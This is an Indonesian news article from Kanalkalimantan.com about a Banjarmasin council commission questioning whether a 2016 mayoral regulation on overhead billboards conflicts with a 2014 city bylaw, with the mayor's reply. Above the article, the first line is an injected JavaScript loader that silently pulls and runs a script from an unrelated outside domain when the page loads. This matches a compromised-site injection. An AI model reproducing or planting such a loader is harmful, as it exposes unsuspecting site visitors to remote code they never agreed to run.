(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Komisi III DPRD Kota Banjarmasin menyoroti adanya perbedaan antara Perda Nomor 16 Tahun 2014 dengan Perwali Nomor 23 Tahun 2016 yang mengatur soal reklame bando. Ketua Komisi III DPRD Kota Banjarmasin M. Isnaini pun mempertanyakan isi Perwali yang masih memperbolehkan reklame bando.
Namun, saat dikonfirmasi usai rapat paripurna DPRD Kota Banjarmasin pada Rabu (1/7/2020) sore, Wali Kota Banjarmasin H. Ibnu Sina pun angkat bicara. Ia mengklaim, sudah mempertanyakan dengan Bagian Hukum Setdako Banjarmasin beberapa waktu lalu.
“Terkait dengan (isi) Perda itu, tidak ada yang bertentangan. Kalau dengan Permen PU Nomor 20 Tahun 2010 tidak ada pertentangan,” kata Ibnu.
Ibnu menggarisbawahi, reklame bando yang diperbolehkan sesuai dengan isi Perda hanyalah yang berada di lapangan terbuka. Sementara, jika melintang di atas jalan raya sudah tidak diperbolehkan.
Ia menegaskan, antara Perwali dengan Perda memang tidak diperbolehkan ada perbedaan, apalagi pertentangan. Kecuali, di dalam Perwali itu mencoba menjelaskan hal-hal teknis yang tidak tercantum di Perda.
“Silakan di-cross check lagi dengan Bagian Hukum kita, karena legal drafting-nya kan di sana, yang bisa menafsirkan dan menjelaskan terkait dengan pasal-pasal. Karena yang membuat Perwali juga Bagian Hukum,” lugas Ibnu.
Jika memang antara Perda dan Perwali terdapat pertentangan, Ibnu berkata bisa saja Perwali yang dimaksud dicabut. “Kalau Perda, harus dengan Dewan,” singkat Ibnu.
Seperti diketahui, Ketua Komisi III M. Isnaini mengatakan, berdasarkan Permen PU Nomor 20 Tahun 2010 memang melarang keberadaan reklame bando. Begitu pula di Perda Nomor 16 Tahun 2014 yang juga melarang adanya reklame bando. “Cuma yang menjadi heran, bahwa di Perwali Nomor 23 Tahun 2016 pasal 7 huruf c justru memperbolehkan tentang keberadaan bando yang berada di jalan,” kata Isnaini.
Sehingga, kata politisi dari Fraksi Gerindra ini, harus ada duduk bersama terkait keberadaan reklame bando itu. Karena di Perwali yang seharusnya menjelaskan secara rinci isi Perda, justru memperbolehkan adanya bando reklame, atau adanya pertentangan.
“Sifat dari dua (payung hukum) ini saya kira harus diselesaikan,” tegas Isnaini. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Untuk perdana, Auditorium Kampus Universitas Lambung Mangkurat (ULM) di Banjarbaru dibuka untuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kurang lebih dua jam menjelang kegiatan rutinan Malam Senin Momen 5 Rajab,… Read More
KANALKALIMANTAN.COM, MARTAPURA – Syair Khobbiri yang dibawakan dari Musholla Ar Raudhah Sekumpul menggema di hampir… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Sekumpul sudah memadati kawasan Martapura, Kabupaten Banjar, Kalimantan Selatan, Minggu (5/1/2025)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kesukarelawanan warga Banjar menyambut Jemaah kegiatan rutin keagamaan Malam Senin 5 Rajab… Read More
KANALKALIMANTAN.COM, BANJARBARU - Posko singgah Sapta Marga Bersatu di Jalan Karang Anyar I, Kelurahan Guntung… Read More
This website uses cookies.